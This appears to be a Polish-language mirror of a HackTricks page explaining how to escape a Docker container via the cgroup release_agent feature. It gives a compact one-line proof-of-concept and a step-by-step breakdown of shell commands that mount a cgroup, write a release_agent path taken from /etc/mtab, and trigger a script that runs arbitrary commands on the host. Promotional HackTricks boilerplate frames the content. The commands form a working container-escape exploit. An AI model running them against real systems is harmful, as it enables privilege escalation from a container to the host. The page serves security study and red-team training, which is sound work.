mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 22:48:32 +00:00
4.7 KiB
4.7 KiB
Ucieczka z cgroups w Dockerze za pomocą release_agent
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCYJNY!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Aby uzyskać więcej szczegółów, odwołaj się do oryginalnego wpisu na blogu. Oto tylko streszczenie:
Pierwotny PoC:
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
Dowód koncepcji (PoC) demonstruje metodę wykorzystania cgroups poprzez utworzenie pliku release_agent
i wywołanie go w celu wykonania dowolnych poleceń na hoście kontenera. Oto podział na kroki:
- Przygotowanie środowiska:
- Tworzony jest katalog
/tmp/cgrp
, który będzie służył jako punkt montowania dla cgroup. - Kontroler cgroup RDMA jest montowany do tego katalogu. W przypadku braku kontrolera RDMA zaleca się używanie kontrolera
memory
jako alternatywy.
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
- Utwórz podrzędny Cgroup:
- Wewnątrz zamontowanego katalogu Cgroup tworzony jest podrzędny Cgroup o nazwie "x".
- Aby włączyć powiadomienia dla Cgroup "x", należy zapisać wartość 1 do pliku notify_on_release.
echo 1 > /tmp/cgrp/x/notify_on_release
- Skonfiguruj agenta wydania:
- Ścieżka kontenera na hoście jest pobierana z pliku /etc/mtab.
- Następnie plik release_agent cgroup jest konfigurowany tak, aby wykonywał skrypt o nazwie /cmd znajdujący się w pobranej ścieżce hosta.
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
- Utwórz i skonfiguruj skrypt /cmd:
- Skrypt /cmd jest tworzony wewnątrz kontenera i konfigurowany do wykonania polecenia ps aux, przekierowując wynik do pliku o nazwie /output w kontenerze. Podawana jest pełna ścieżka do /output na hoście.
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
- Wywołaj atak:
- Proces jest uruchamiany wewnątrz grupy potomnej "x" i natychmiast jest zamykany.
- To powoduje uruchomienie
release_agent
(skryptu /cmd), który wykonuje polecenie ps aux na hoście i zapisuje wynik do /output wewnątrz kontenera.
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.